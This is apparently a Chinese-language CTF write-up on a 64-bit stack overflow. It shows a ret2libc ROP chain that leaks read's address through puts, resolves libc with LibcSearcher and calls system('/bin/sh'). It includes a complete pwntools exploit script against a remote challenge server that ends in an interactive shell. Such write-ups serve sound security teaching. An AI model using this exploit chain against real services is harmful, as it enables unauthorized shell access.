ROP,需要通过puts函数泄露read函数地址,ROP时用puts函数的地址覆盖返回地址,用read函数的GOT表地址作为puts的参数传入。但是64位程序的函数传参是通过寄存器+堆栈的方式,因此无法直接通过栈溢出写入参数。解决方法是:在程序中寻找一处pop %rdi的指令,将数据写入rdi寄存器。
在程序中寻找pop %rdi需要一个叫ROPgadget的工具。
Linux指令:
ROPgadget --binary pwn | grep "pop rdi"
查到在程序的0x400763地址处存在一个pop rdi ; ret
的指令。
可以先将rsp所指的那8个字节pop到rdi寄存器,然后再执行一个ret指令,正合我们的需求。
关于LibcSearcher的用法:
这个库最好在Linux下用,Windows下会出一些问题
用已泄露的函数地址,如read_addr去匹配即可
libc = LibcSearcher("read", read_addr) # 获取libc对象
libc.dump("read")
可以获取read在对应libc中的偏移
甚至还能直接获取libc中的\bin\sh:
# 直接获取/bin/sh地址
binsh_addr = libc.dump("str_bin_sh") + libc_base
完整代码:
# -*- coding: utf-8
from pwn import *
from LibcSearcher import *
elf = ELF("pwn")
puts_addr = elf.sym['puts']
read_got = elf.got['read']
poprdi_addr = 0x400763 # 在这个地方有指令:pop rdi; ret
main_addr = 0x4006B8
payload1 = "a" * 0x40 # rubbish
payload1 += p64(0) # old rbp
payload1 += p64(poprdi_addr) # 第一次返回到pop rdi的地方
payload1 += p64(read_got) # 这是puts的参数
payload1 += p64(puts_addr)
payload1 += p64(main_addr) # puts函数的返回地址,重新进入main函数
payload1 += "b" * (200 - len(payload1))
io = remote("111.200.241.244", 55160)
io.send(payload1)
io.recvline()
read_addr = io.recvline().split("\n")[0]
print(len(read_addr))
for i in range(len(read_addr), 8):
read_addr += '\x00' # 补足8字节
read_addr = u64(read_addr)
print(hex(read_addr))
# 用LibcSearcher查询函数,只需要传入已经泄露的地址即可自动匹配
libc = LibcSearcher("read", read_addr) # 获取libc对象
libc_base = read_addr - libc.dump("read")
system_addr = libc_base + libc.dump("system")
# 直接获取/bin/sh地址
binsh_addr = libc.dump("str_bin_sh") + libc_base
# 第二次需要调用system(binsh_addr)
payload2 = "a" * 0x40 # rubbish
payload2 += p64(0) # old rbp
payload2 += p64(poprdi_addr) # 第一次返回到pop rdi的地方
payload2 += p64(binsh_addr) # 这是system的参数
payload2 += p64(system_addr)
payload2 += p64(main_addr) # system函数的返回地址,重新进入main函数
payload2 += "b" * (200 - len(payload2))
io.send(payload2)
io.interactive()